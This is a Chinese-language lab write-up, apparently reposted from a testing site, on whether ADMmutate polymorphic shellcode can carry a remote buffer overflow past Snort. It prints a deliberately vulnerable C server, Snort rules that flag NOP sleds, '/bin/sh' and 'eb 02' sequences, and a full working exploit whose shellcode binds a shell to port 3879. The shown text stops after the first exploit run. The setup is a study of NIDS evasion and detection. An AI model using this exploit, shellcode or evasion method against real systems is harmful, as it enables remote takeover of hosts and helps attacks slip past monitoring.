利用ADMmutate测试NIDS

前言：
 ?????????
只是一个试验，用了三台机器，两台机器跑linux （vmware下的RedHat6.2，同事的机子，借用：）一台机器装NIDS（snort1.8-WIN32）
其中：
server IP： 192.168.100.170
client IP： 192.168.100.171
NIDS? IP： 192.168.100.172

目的：
 ??想试试利用ADMmutate是否可以逃过NIDS的监视进行远程缓冲区溢出？NIDS是否可以通过配 置来发现这种攻击！

ADMmutate的介绍：

 ??这个程序的作者是k2，利用了名为多形态代码的技术，使攻击者能够潜在的改变代码结构来欺骗许? 多入侵检测系统，但它不会破坏最初的攻击性程序。溢出程序经它一改，就可以摇身一变，而且由于采用了动态改变的技术，每次伪装的shellcode都不相同,本来ids依靠提取公开的溢出程序的特征码来检测报警，特征码变了后ids就检测不到了。

 ? 伪装前的shellcode格式为：
 ???? [NNNNNNNNNNNNN][SSSS][RRRR]
 ? 伪装后的shellcode格式为：
 ???? [nnnnnnn][dddd][ssss][rrrr]
 ? 其中：
 ????N表示NOP，S表示shellcode，R表示返回地址；
 ????n表示经过编码的NOP，d为解码器，s表示经过编码的shellcode，r表示返回地址。
 ?????
  （ADMmutate在k2的主页上有下载：
 ??????http://www.ktwo.ca/c/ADMmutate-0.7.3.tar.gz????）
 ??????
测试过程：
 
（下面的程序涉及到远程缓冲区溢出，如不明白请看《高级缓冲区溢出下》或《怎样写远程缓冲区溢出漏洞利用程序 》）

1.服务器端运行有漏洞的服务器程序(vulnerable)
 ?//-------------有漏洞的服务器程序(vulnerable.c)-------------------
#include <stdio.h>
#include <.netdb.h>
#include <netinet/in.h>


#define BUFFER_SIZE 1024
#define NAME_SIZE 2048


int handling(int c)

{
 ??? char buffer[BUFFER_SIZE], name[NAME_SIZE];
 ??? int bytes;
 ??? strcpy(buffer, "My name is: ");
 ??? bytes = send(c, buffer, strlen(buffer), 0);
 ??? if (bytes == -1)
 ????? return -1;
 ??? bytes = recv(c, name, sizeof(name), 0);
 ??? if (bytes == -1)
 ????? return -1;
 ??? name[bytes - 1]= '0';
 ??? sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
 ??? bytes = send(c, buffer, strlen(buffer), 0);
 ??? if (bytes == -1)
 ????? return -1;
 ??? return 0;

}


int main(int argc, char *argv[])

{
 ??? int s, c, cli_size;
 ??? struct sockaddr_in srv, cli;
 ??? if (argc != 2)
 ??? {
 ???????fprintf(stderr, "usage: %s port\n", argv[0]);
 ????? return 1;
 ??? }
 ??? s = socket(AF_INET, SOCK_STREAM, 0);
 ??? if (s == -1)
 ??? {
 ????? perror("socket() failed");
 ????? return 2;
 ??? }
 ??? srv.sin_addr.s_addr = INADDR_ANY;
 ??? srv.sin_port = htons( (unsigned short int) atol(argv[1]));
 ??? srv.sin_family = AF_INET;
 ??? if (bind(s, &srv, sizeof(srv)) == -1)
 ??? {
 ????? perror("bind() failed");
 ????? return 3;
 ??? }
 ??? if (listen(s, 3) == -1)
 ??? {
 ????? perror("listen() failed");
 ????? return 4;
 ??? }
 ??? for(;;)
 ??? {
 ????? c = accept(s, &cli, &cli_size);
 ????? if (c == -1)
 ????? {
 ??????? perror("accept() failed");
 ??????? return 5;
 ????? }
 ????? printf("client from %s", inet_ntoa(cli.sin_addr));
 ??? if (handling(c) == -1)
 ????? fprintf(stderr, "%s: handling() failed", argv[0]);
 ??? close(c);
 ??? }
 ??? return 0;

}

-----------------------------------------------------------------------
server:~/ > gcc vulnerable.c -o vulnerable
server:~/ > ./vulnerable 5555&
 ?
 ?（现在该程序监听5555端口并等待连接）
 ?
2.安装NIDS的机器运行snort：
 ?D:\Tools\Defence\snort>snort -A fast -l log -c shellcode.rules
 ?其中：
 ?shellcode的规则包括：
 ?alert tcp any any -> any any (msg:"SHELLCODE x86 NOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:bad-unknown; sid:648; rev:2;)
 ?//此规则主要通过对shellcode中的大量NOP进行判断
 ?alert tcp any any -> any any (msg:"SHELLCODE linux shellcode"; content:"/bin/sh";?reference:arachnids,343; classtype:attempted-admin; sid:652; rev:2;)
 ?//此规则主要通过对shellcode中的字符串/bin/sh进行判断
 ?alert tcp any any -> any any (msg:"SHELLCODE x86 stealth NOP";? content: "|eb 02 eb 02 eb 02|"; reference:arachnids,291; classtype:bad-unknown; sid:651; rev:2;)
 ?//此规则主要通过对shellcode中的用来替换NOP的jmp 0x02（十六进制为eb 02）进行判断。采用eb 02替换NOP只要是为了躲避一些通过NOP来判断是否溢出的NIDS的检测。
 ?
3.客户端运行正常的远程缓冲区溢出程序exploit
//----------------- 正常的exploit.c ----------------------------------

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define SIZE? 2048
#define NOPDEF 861

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"?
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
（一个将shell绑定在3879（\x0f\x27\）端口的shellcode！）

unsigned long get_sp(void)
{
 ? __asm__("movl %esp,%eax");
}


int main(int argc, char *argv[])
{

 ? char buffer[SIZE];
 ? int s, i, size, offset;
 ? unsigned long addr;
 ? struct sockaddr_in remote;
 ? struct hostent *host;
 ? int nop=NOPDEF;

 ? if(argc != 4) {
 ??? printf("Usage: %s target-ip port offset\n", argv[0]);
 ??? return -1;
 ? }

 ? offset=atoi(argv[3]);
 ? addr=get_sp()-offset;
 ? printf("Jump to 0x%08x\n",addr);

 ? memset(buffer,0x90,SIZE);
 ? memcpy(buffer+nop,shellcode,strlen(shellcode));
 ? for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
 ??? * ((unsigned long *) &buffer[i]) = addr;
 ? }
 ? buffer[2047] = 0x0;
 ? printf("%s\n",buffer);

 ??? //getting hostname
 ? host=gethostbyname(argv[1]);
 ? if (host==NULL){
 ??? fprintf(stderr, "Unknown Host %s\n",argv[1]);
 ??? return -1;
 ? }

 ??? // creating socket...
 ? s = socket(AF_INET, SOCK_STREAM, 0);
 ? if (s < 0){
 ??? fprintf(stderr, "Error: Socket\n");
 ??? return -1;
 ? }

 ??? //state Protocolfamily , then converting the hostname or IP address, and getting?port number
 ? remote.sin_family = AF_INET;
 ? remote.sin_addr = *((struct in_addr *)host->h_addr);
 ? remote.sin_port = htons(atoi(argv[2]));

 ??? // connecting with destination host
 ? if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
 ??? close(s);
 ??? fprintf(stderr, "Error: connect\n");
 ??? return -1;
 ? }

 ??? //sending exploit string
 ? size = send(s, buffer, sizeof(buffer), 0);
 ? if (size==-1){
 ??? close(s);
 ??? fprintf(stderr, "sending data failed\n");
 ??? return -1;
 ? }
 ??? // closing socket
 ? close(s);

}
-------------------------------------------------------------------
client:~/ > gcc exploit.c -o exploit
client:~/> ./exploit 192.168.100.170 5555 200
Jump to 0xbffff220
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塢鬕塎鼚M敉

原文转自：http://www.ltesting.net